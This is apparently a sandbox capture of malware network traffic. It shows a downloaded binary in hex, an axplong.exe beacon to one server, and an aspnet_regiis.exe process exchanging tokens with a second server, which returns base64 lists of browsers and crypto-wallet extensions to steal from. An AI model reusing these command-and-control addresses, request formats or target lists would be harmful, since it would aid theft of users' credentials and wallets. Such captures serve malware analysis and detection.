Jul 13, 2024 07:07:01.858108997 CEST	1236	IN	Data Raw: 41 00 00 00 e9 79 41 cc 41 00 00 00 f0 9f 67 ba 41 65 9b a3 11 ea b7 e9 7d d4 ca e0 0f 00 00 00 00 cd e0 9c 3a fe 3f f7 62 48 7a 26 78 00 00 00 00 2b 93 00 08 00 00 00 00 ad 46 3c 61 00 00 00 00 66 b3 56 18 00 00 00 00 71 f2 79 7f 00 00 00 00 c2 Data Ascii: AyAAgAe}:?bHz&x+F<afVqyAAMNON\|`\|^\|Nr7~fJ"MU7MhDN#MKorAJ$ACAX<1\j,N]NN\|N.N_b
Jul 13, 2024 07:07:01.858148098 CEST	448	IN	Data Raw: e4 9a e1 c5 41 00 00 00 7d a0 91 cf 41 00 00 80 61 69 e4 c2 41 00 00 40 ca 20 44 d5 41 00 00 c0 4c fc ac d3 41 29 6d bc 4e 86 c6 66 4d 01 2f 1b 4d 33 33 56 4d 22 8b fc 4e 00 00 00 00 e4 d6 d3 5e 00 00 00 00 7c 9e c4 68 00 00 00 00 30 df 57 5c 00 Data Ascii: A}AaiA@ DALA)mNfM/M33VM"N^\|h0W\MSAI@{HykX,AAAgO^A@BTA@ AC0A \|{Z-}NrLA{NN2NNz*qLNK
Jul 13, 2024 07:07:01.858181953 CEST	1236	IN	Data Raw: 74 09 25 dc 41 00 00 40 cf 5e af d4 41 00 00 80 30 3a 03 c4 41 00 00 c0 80 a0 36 d2 41 9e a8 90 4e 07 6b e6 4e dd 65 bc 4e 00 00 00 00 36 d1 5d 6a 1e 3b 76 58 6a a6 51 1d 33 eb 0c 66 05 c5 fc 54 00 00 00 00 68 fb 86 7d 00 00 00 00 8e 78 c6 47 00 Data Ascii: t%A@^A0:A6ANkNeN6]j;vXjQ3fTh}xGdN;2GVNNClNN6N7@U)22+I3NM@NWN#M\|VxHoW\|R3uMpNaN{
Jul 13, 2024 07:07:01.858216047 CEST	1236	IN	Data Raw: 41 00 00 80 25 9b ff cd 41 da 7d b0 45 b6 ae 22 39 2c 58 3c 5a 54 7a 90 6e c3 f5 51 0c 29 93 9f 77 1c 46 b8 3c 3c d5 85 28 00 00 c0 32 0b 8a de 41 00 00 00 57 a0 b0 bf 41 00 00 00 00 67 10 51 41 00 00 80 f7 cd 89 d2 41 99 59 71 3b 0f 22 eb 5e 44 Data Ascii: A%A}E"9,X<ZTznQ)wF<<(2AWAgQAAYq;"^D)TuNONN{NVNdbN!/MN?Qw" J.cC4+hS[cNNNFN!N\AA*AkAOP5'V_>@S
Jul 13, 2024 07:07:01.858248949 CEST	1236	IN	Data Raw: 68 00 00 00 00 42 d8 33 04 34 20 18 3c 4b d9 b4 48 36 cd f8 63 aa f4 94 29 51 b8 97 09 ca f4 91 b1 42 78 b2 ad 70 d4 95 ee af 84 97 e4 38 60 6f 5d 5b f7 d2 8a 87 12 60 b4 4f 5c 92 3c 3e e7 5d 6f 93 6c 6b af 94 68 16 f6 ac e1 e9 eb b7 60 7c 99 4f Data Ascii: hB34 <KH6c)QBxp8`o][`O\<>]olkh`\|O&;Qnzp\|+K!=t!le\|19b"7YIr5#}E{K<XDo5Z>BOvLUZ6AxJNa}e~@b%I3k}_x`JHg^Hk[
Jul 13, 2024 07:07:01.858283997 CEST	1236	IN	Data Raw: e4 93 94 cf 61 38 8a fe ff ff 16 13 09 20 0f 39 d0 7d 38 7d fe ff ff 28 13 00 00 0a 14 fe 06 04 00 00 06 73 14 00 00 0a 6f 15 00 00 0a 11 0c 20 1b 1c 78 bb 5a 20 ff 0d 93 cb 61 38 54 fe ff ff 11 06 1f 0c 11 06 1f 0c 95 08 1f 0c 95 61 9e 11 0c 20 Data Ascii: a8 9}8}(so xZ a8Ta Z -ra822 )N%+ #gYo%&8a TzZ ja8a Z Ya8aa ^v=Z Wea8X u
Jul 13, 2024 07:07:01.858316898 CEST	1236	IN	Data Raw: 00 04 07 20 83 69 ee c1 5a 20 81 51 17 6f 61 38 44 ff ff ff 03 25 7b 07 00 00 04 1e 62 7d 07 00 00 04 07 20 b0 5e e1 dd 5a 20 31 36 6e 75 61 38 24 ff ff ff 03 25 7b 07 00 00 04 1e 62 7d 07 00 00 04 07 20 3f 0d f9 01 5a 20 ff 95 e4 0a 61 38 04 ff Data Ascii: iZ Qoa8D%{b} ^Z 16nua8$%{b} ?Z a8{b{o`} 3Z Ua8* ,E8{ {YdX}{ 7 =F%+ j}%& AlZa8} ]Z 1a8n0
Jul 13, 2024 07:07:01.858350992 CEST	1236	IN	Data Raw: 19 61 38 75 ff ff ff 02 15 7d 07 00 00 04 07 20 55 8e fc de 5a 20 5b 2f ba 81 61 38 5c ff ff ff 2a 13 30 04 00 08 00 00 00 01 00 00 11 02 14 7d 08 00 00 04 2a 13 30 05 00 8d 00 00 00 01 00 00 11 2b 69 20 6b d7 49 04 20 68 a0 e9 7d 61 25 0a 1b 5e Data Ascii: a8u} UZ [/a8\0}0+i kI h}a%^E$Ab+`{b{o`} N+{b} owZ a+{ 4 kI%+ 0_\|q%&8{*00{{ ?C
Jul 13, 2024 07:07:01.858387947 CEST	1236	IN	Data Raw: 00 00 79 01 00 00 8f 01 00 00 07 01 00 00 57 02 00 00 22 02 00 00 87 ff ff ff ad 00 00 00 f6 01 00 00 9b 00 00 00 f1 00 00 00 42 00 00 00 29 00 00 00 d4 00 00 00 0a 02 00 00 5f 00 00 00 82 00 00 00 d9 01 00 00 19 01 00 00 34 01 00 00 86 02 00 00 Data Ascii: yW"B)_48{{o( dZ ea8cr7 $%+ fp%&8J{6 $ho%+ %&8-{( \|Z a87 S%+ A%&8
Jul 13, 2024 07:07:01.863636017 CEST	1236	IN	Data Raw: 9b 38 1c fe ff ff 11 05 17 6a 58 13 05 11 0f 20 7d 1b f2 00 5a 20 3b 22 88 3e 61 38 02 fe ff ff 11 05 11 06 34 08 20 5f 33 e7 ec 25 2b 06 20 e1 53 95 ec 25 26 38 e8 fd ff ff 02 7b 0c 00 00 04 06 7b 2b 00 00 04 8f 02 00 00 02 02 7b 14 00 00 04 28 Data Ascii: 8jX }Z ;">a84 _3%+ S%&8{{+{(, EB%+ cE'%& Za8{YobX 83 S%+ %&8wn4 %+ %&8](2 Z ]udba8C(1 P pZ Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	58980	77.91.77.81	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:03.629035950 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 32 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000202001&unit=246122658369
Jul 13, 2024 07:07:04.317310095 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	58981	85.28.47.70	80	7464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:03.747293949 CEST	410	OUT	POST /570d5d5e8678366c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIDGDBGCAAFIDHIJKEH Host: 85.28.47.70 Content-Length: 212 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 30 43 44 32 46 36 44 46 42 35 45 31 35 37 33 35 33 32 31 30 32 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 68 65 6c 6c 6f 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 2d 2d 0d 0a Data Ascii: ------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="hwid"F0CD2F6DFB5E1573532102------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="build"hello------AFIDGDBGCAAFIDHIJKEH--
Jul 13, 2024 07:07:04.372945070 CEST	384	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 156 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6a 49 79 5a 57 45 32 4e 6a 41 35 4d 44 51 33 4d 57 45 35 59 7a 4e 6d 4d 6a 4d 33 59 54 55 7a 4e 6a 52 68 5a 47 45 77 59 57 4d 31 4e 7a 6c 6c 59 32 45 7a 5a 6d 55 30 5a 6a 63 78 5a 44 52 6c 4f 44 51 77 5a 6a 67 33 5a 6a 51 78 59 7a 67 78 4d 54 67 7a 4f 44 4e 6c 59 6d 4d 35 5a 6a 49 77 66 47 70 69 5a 48 52 68 61 57 70 76 64 6d 64 38 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 3d Data Ascii: NjIyZWE2NjA5MDQ3MWE5YzNmMjM3YTUzNjRhZGEwYWM1NzllY2EzZmU0ZjcxZDRlODQwZjg3ZjQxYzgxMTgzODNlYmM5ZjIwfGpiZHRhaWpvdmd8ZWltZWhydnpvZC5maWxlfDF8MHwxfDF8MXwxfDF8MXw=
Jul 13, 2024 07:07:04.374383926 CEST	466	OUT	POST /570d5d5e8678366c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEHIEBKJKFIEBGDGDAA Host: 85.28.47.70 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 49 45 42 4b 4a 4b 46 49 45 42 47 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 49 45 42 4b 4a 4b 46 49 45 42 47 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 49 45 42 4b 4a 4b 46 49 45 42 47 44 47 44 41 41 2d 2d 0d 0a Data Ascii: ------KKEHIEBKJKFIEBGDGDAAContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------KKEHIEBKJKFIEBGDGDAAContent-Disposition: form-data; name="message"browsers------KKEHIEBKJKFIEBGDGDAA--
Jul 13, 2024 07:07:04.553234100 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jul 13, 2024 07:07:04.553266048 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jul 13, 2024 07:07:04.555587053 CEST	465	OUT	POST /570d5d5e8678366c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHI Host: 85.28.47.70 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 2d 2d 0d 0a Data Ascii: ------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="message"plugins------KKJKFBKKECFHJKEBKEHI--
Jul 13, 2024 07:07:04.736460924 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 5416 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jul 13, 2024 07:07:04.736504078 CEST	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Jul 13, 2024 07:07:04.736530066 CEST	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Jul 13, 2024 07:07:04.736546993 CEST	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Jul 13, 2024 07:07:04.736562967 CEST	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Jul 13, 2024 07:07:04.736579895 CEST	476	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Jul 13, 2024 07:07:04.741661072 CEST	466	OUT	POST /570d5d5e8678366c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAK Host: 85.28.47.70 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 2d 2d 0d 0a Data Ascii: ------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="message"fplugins------HDHJEBFBFHJECAKFCAAK--
Jul 13, 2024 07:07:04.920633078 CEST	335	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: 